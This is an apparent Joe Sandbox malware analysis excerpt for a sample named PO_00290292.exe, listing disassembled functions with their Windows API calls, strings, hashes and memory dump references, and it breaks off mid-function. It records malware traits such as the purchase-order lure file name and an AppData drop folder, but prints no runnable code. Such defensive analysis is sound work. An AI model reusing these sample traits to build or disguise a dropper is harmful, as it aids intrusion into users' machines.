Opcode Fuzzy Hash: 694438e2711fe54d40bb1ff94b0c367670ea04c6faeed320443158d9ce86139f
Instruction Fuzzy Hash: 4ED05B33704100D7CB10DFE89E0869D7775AB40334B208177D501F21E4D6B9C5515B1D

Uniqueness

Uniqueness Score: -1.00%

Function 0040428E Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004042A0

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: c2a25a807fea80bd58a61b321fa2af33aa5b35e52655131f61520799e32131e4
Instruction ID: 8584b4a80e8197aea4c9dd325401cbfcfbe68695eba590e205f4256e4e85e437
Opcode Fuzzy Hash: c2a25a807fea80bd58a61b321fa2af33aa5b35e52655131f61520799e32131e4
Instruction Fuzzy Hash: 67C04C71740600BBDA20CB649D45F1677546754740F1448697640A60E0C674D420D62C

Uniqueness

Uniqueness Score: -1.00%

Function 0040336E Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040306C,?), ref: 0040337C

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 1c6da78d27ebc38603b4c87e6ff41e0916c1b34e9bb95e36f46a9ca6431a4e31
Instruction ID: 64c0fffafe8abe290eaf2022e63b776f1a4a3bd25e2fde741040b5855636c72c
Opcode Fuzzy Hash: 1c6da78d27ebc38603b4c87e6ff41e0916c1b34e9bb95e36f46a9ca6431a4e31
Instruction Fuzzy Hash: 70B01231140300BFDA214F00DF09F057B21AB90700F10C034B344780F086711075EB0D

Uniqueness

Uniqueness Score: -1.00%

Function 00404277 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,004040A3), ref: 00404285

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 7bbf2f5232cd2574a5b007ccbcd78797cc8e3f4bb2dd07224d7ba7f17a9ad77c
Instruction ID: 3e0bacd84e958153637e663f6e0df00a268db6e73930f78988907d41dcf2010e
Opcode Fuzzy Hash: 7bbf2f5232cd2574a5b007ccbcd78797cc8e3f4bb2dd07224d7ba7f17a9ad77c
Instruction Fuzzy Hash: 32B01235290A00FBDE214B00EE09F457E62F76C701F008478B340240F0CAB300B1DB19

Uniqueness

Uniqueness Score: -1.00%

Function 00404264 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,0040403C), ref: 0040426E

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 8a62e99fe4a67b047fdc914663d327e58adf51456459288db10dd5d3044e9a2e
Instruction ID: ea629541fdd2228df96855dc4de4e407fdbb002a66502a1a5a86269346c048a7
Opcode Fuzzy Hash: 8a62e99fe4a67b047fdc914663d327e58adf51456459288db10dd5d3044e9a2e
Instruction Fuzzy Hash: C0A001B6644500ABCE129F90EF49D0ABBB2EBE8742B518579A285900348A364961EB59

Uniqueness

Uniqueness Score: -1.00%

Function 004014D7 Relevance: 1.3, APIs: 1, Instructions: 17sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000000), ref: 004014E6

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 613bb76dd51035f8e992bd3810ec25ac52a321cc6884ad386f64fc6a650c1bcc
Instruction ID: 98ea867d558ea3f6c4ea23e9af3ccb97d5497e9459daf2a95be3f4ba7839a378
Opcode Fuzzy Hash: 613bb76dd51035f8e992bd3810ec25ac52a321cc6884ad386f64fc6a650c1bcc
Instruction Fuzzy Hash: E7D01277B14100DBD760EFB9BF89C6F73A9EB513293214837D902E11A2D57DC812462D

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00404C59 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404C71
GetDlgItem.USER32(?,00000408), ref: 00404C7C
GlobalAlloc.KERNEL32(00000040,?), ref: 00404CC6
LoadBitmapW.USER32(0000006E), ref: 00404CD9
SetWindowLongW.USER32(?,000000FC,00405251), ref: 00404CF2
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404D06
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404D18
SendMessageW.USER32(?,00001109,00000002), ref: 00404D2E
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404D3A
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404D4C
DeleteObject.GDI32(00000000), ref: 00404D4F
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404D7A
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404D86
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404E1C
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404E47
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404E5B
GetWindowLongW.USER32(?,000000F0), ref: 00404E8A
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404E98
ShowWindow.USER32(?,00000005), ref: 00404EA9
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404FA6
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040500B
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405020
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00405044
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00405064
ImageList_Destroy.COMCTL32(?), ref: 00405079
GlobalFree.KERNEL32(?), ref: 00405089
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405102
SendMessageW.USER32(?,00001102,?,?), ref: 004051AB
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 004051BA
InvalidateRect.USER32(?,00000000,00000001), ref: 004051DA
ShowWindow.USER32(?,00000000), ref: 00405228
GetDlgItem.USER32(?,000003FE), ref: 00405233
ShowWindow.USER32(00000000), ref: 0040523A

Strings

M, xrefs: 00404E03
N, xrefs: 00404EE4
, xrefs: 00405212

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 2479b366cad44d8d2a02fbd124e29c277f71441e1411fda8dea8c44bba4244d6
Instruction ID: ce840dee0c3a5b827351c7f25dbf2e3605d0905f5c54158640504e6bfb71dde6
Opcode Fuzzy Hash: 2479b366cad44d8d2a02fbd124e29c277f71441e1411fda8dea8c44bba4244d6
Instruction Fuzzy Hash: 4C023EB0A00209EFDF209F64CD45AAE7BB5FB84355F10817AE610BA2E1C7799D52CF58

Uniqueness

Uniqueness Score: -1.00%

Function 004046DD Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 0040472C
SetWindowTextW.USER32(00000000,?), ref: 00404756
SHBrowseForFolderW.SHELL32(?), ref: 00404807
CoTaskMemFree.OLE32(00000000), ref: 00404812
lstrcmpiW.KERNEL32(Remove folder: ,00423728,00000000,?,?), ref: 00404844
lstrcatW.KERNEL32(?,Remove folder: ), ref: 00404850
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404862

Part of subcall function 004058A7: GetDlgItemTextW.USER32(?,?,00000400,00404899), ref: 004058BA

Part of subcall function 00406412: CharNextW.USER32(?,*?|<>/":,00000000,00000000,75573420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\PO_00290292.exe",00403391,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004035DE), ref: 00406475
Part of subcall function 00406412: CharNextW.USER32(?,?,?,00000000), ref: 00406484
Part of subcall function 00406412: CharNextW.USER32(?,00000000,75573420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\PO_00290292.exe",00403391,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004035DE), ref: 00406489
Part of subcall function 00406412: CharPrevW.USER32(?,?,75573420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\PO_00290292.exe",00403391,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004035DE), ref: 0040649C

GetDiskFreeSpaceW.KERNEL32(004216F8,?,?,0000040F,?,004216F8,004216F8,?,00000001,004216F8,?,?,000003FB,?), ref: 00404925
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404940

Part of subcall function 00404A99: lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404B3A
Part of subcall function 00404A99: wsprintfW.USER32 ref: 00404B43
Part of subcall function 00404A99: SetDlgItemTextW.USER32(?,00423728), ref: 00404B56

Strings

(7B, xrefs: 004047DA
C:\Users\user\AppData\Local\blindsmagningen\Nonprocurement, xrefs: 0040482D
A, xrefs: 00404800
Remove folder: , xrefs: 0040483E, 00404843, 0040484E

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$A$C:\Users\user\AppData\Local\blindsmagningen\Nonprocurement$Remove folder:
API String ID: 2624150263-2451812599
Opcode ID: b1c988a2c75076f1e590c134e256cc95cfc43452e7a67f3061b6eea54995cb3a
Instruction ID: d5aaf60bd55b21875b9c8b9a8d0b3d7e01f34e6f89f3adcbdcc63617e1d21faf
Opcode Fuzzy Hash: b1c988a2c75076f1e590c134e256cc95cfc43452e7a67f3061b6eea54995cb3a
Instruction Fuzzy Hash: B7A191F1A00209ABDB11AFA5CC45AAF77B8EF84354F10847BF601B62D1D77C99418B6D

Uniqueness

Uniqueness Score: -1.00%

Function 00402095 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004084E4,?,00000001,004084D4,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402114

Strings

C:\Users\user\AppData\Local\blindsmagningen\Nonprocurement, xrefs: 00402154

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Local\blindsmagningen\Nonprocurement
API String ID: 542301482-4198271790
Opcode ID: 3f37e0e1a3b82b76417f5addfce7e9ce955a39bfd9153315acfc7234e1bdb920
Instruction ID: a109dbacb2976faa502b9a92b0b1fafcf02ea9b6fb783d383e2774f19d5eba59
Opcode Fuzzy Hash: 3f37e0e1a3b82b76417f5addfce7e9ce955a39bfd9153315acfc7234e1bdb920
Instruction Fuzzy Hash: FA412C75A00209AFCF00DFA4CD88AAD7BB6FF48314B20457AF515EB2D1DBB99A41CB54

Uniqueness

Uniqueness Score: -1.00%

Function 004043DF Relevance: 42.2, APIs: 20, Strings: 4, Instructions: 207windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040447D
GetDlgItem.USER32(?,000003E8), ref: 00404491
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004044AE
GetSysColor.USER32(?), ref: 004044BF
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004044CD
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004044DB
lstrlenW.KERNEL32(?), ref: 004044E0
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004044ED
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404502
GetDlgItem.USER32(?,0000040A), ref: 0040455B
SendMessageW.USER32(00000000), ref: 00404562
GetDlgItem.USER32(?,000003E8), ref: 0040458D
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004045D0
LoadCursorW.USER32(00000000,00007F02), ref: 004045DE
SetCursor.USER32(00000000), ref: 004045E1
ShellExecuteW.SHELL32(0000070B,open,004281E0,00000000,00000000,00000001), ref: 004045F6
LoadCursorW.USER32(00000000,00007F00), ref: 00404602
SetCursor.USER32(00000000), ref: 00404605
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404634
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404646

Strings

N, xrefs: 0040457B
open, xrefs: 004045EE
Remove folder: , xrefs: 004045BC
VC@, xrefs: 004045EB

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: N$Remove folder: $VC@$open
API String ID: 3615053054-2721566001
Opcode ID: 33f5e1601642234e7e85cd0b58378a626179fffef457767216124dc14c27a8cd
Instruction ID: ef28e404984a924d02769b335405a58d84a4f5c10dd13b46e9d300bde90bb2c1
Opcode Fuzzy Hash: 33f5e1601642234e7e85cd0b58378a626179fffef457767216124dc14c27a8cd
Instruction Fuzzy Hash: 717191B1A00209BFDB10AF60DD45E6A7B69FB94344F00843AFB05B62E0D779AD51CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00429240,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 709e975422cda7ccbb1a7a25ffea5b6ea87087be701c8afe7ff27c60fd663942
Instruction ID: fbc3582f0be17511ef24b6208279bd62f68a22b1f89f17edcf88e24f0ff4dafb
Opcode Fuzzy Hash: 709e975422cda7ccbb1a7a25ffea5b6ea87087be701c8afe7ff27c60fd663942
Instruction Fuzzy Hash: 8E418A71800209AFCF058F95DE459AFBBB9FF44310F00842EF991AA1A0C738EA55DFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00405EAD Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 131stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00426DC8,NUL), ref: 00405EBC
CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,?,00406040,?,?), ref: 00405EE0
GetShortPathNameW.KERNEL32(?,00426DC8,00000400), ref: 00405EE9

Part of subcall function 00405CB8: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405F99,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405CC8
Part of subcall function 00405CB8: lstrlenA.KERNEL32(00000000,?,00000000,00405F99,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405CFA

GetShortPathNameW.KERNEL32(004275C8,004275C8,00000400), ref: 00405F06
wsprintfA.USER32 ref: 00405F24
GetFileSize.KERNEL32(00000000,00000000,004275C8,C0000000,00000004,004275C8,?,?,?,?,?), ref: 00405F5F
